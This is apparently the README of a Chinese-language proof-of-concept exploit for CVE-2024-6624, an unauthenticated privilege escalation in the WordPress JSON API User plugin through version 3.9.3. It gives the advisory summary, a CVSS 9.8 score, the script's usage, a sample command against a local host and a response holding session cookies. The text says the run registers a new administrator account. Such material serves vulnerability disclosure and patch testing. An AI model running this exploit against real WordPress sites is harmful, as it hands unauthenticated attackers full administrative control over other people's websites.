JSON API User <= 3.9.3 - 未认证权限提升
JSON API User 插件(WordPress)在所有版本(包括 3.9.3)中存在权限提升漏洞。这是由于对自定义用户元字段的控制不当所致。这使得未认证的攻击者可以在站点上注册为管理员。该插件还需要同时安装 JSON API 插件。
State: PUBLISHED
Score: 9.8
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Privileges: None
Attack Vector: None
References:
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L51
- https://plugins.trac.wordpress.org/changeset/3115185/
- https://plugins.trac.wordpress.org/browser/json-api-user/trunk/controllers/User.php#L187
usage: CVE-2024-6624.py [-h] -u URL [-un USERNAME] [-p PASSWORD]
WordPress 用户管理脚本
options:
-h, --help 显示此帮助信息并退出
-u URL, --url URL 网站 URL
-un USERNAME, --username USERNAME
WordPress 用户名
-p PASSWORD, --password PASSWORD
WordPress 密码
python3 CVE-2024-6624.py -u http://kubernetes.docker.internal -un test -p testest123
注册响应:
{
"status": "ok",
"cookie": "test|1727176928|2KSZ0T0maNhdNfQwcwgqForXPZpfGXuC8XHaje57whM|e724bfd3ee1103a9ba8431cd357ca5cd5387f836f3cb3c761050bd4a0a0e7b56",
"cookie_admin": "test|1727176928|tOXMV0zq3m368KcQzNaw5zbdGBoYYrrIByOAGWX6gdo|9b003b21babd93c4490fc6ace4b768c2201317957dd0f7c1766c142cfb5f2647",
"cookie_name": "wordpress_logged_in_e2df32a6c3e7076dd7dc7d3f3fec39aa",
"user_id": 41,
"username": "test"
}
现在应该在 http://kubernetes.docker.internal 上注册了一个具有管理员权限的新用户,用户名为 test,密码为 testest123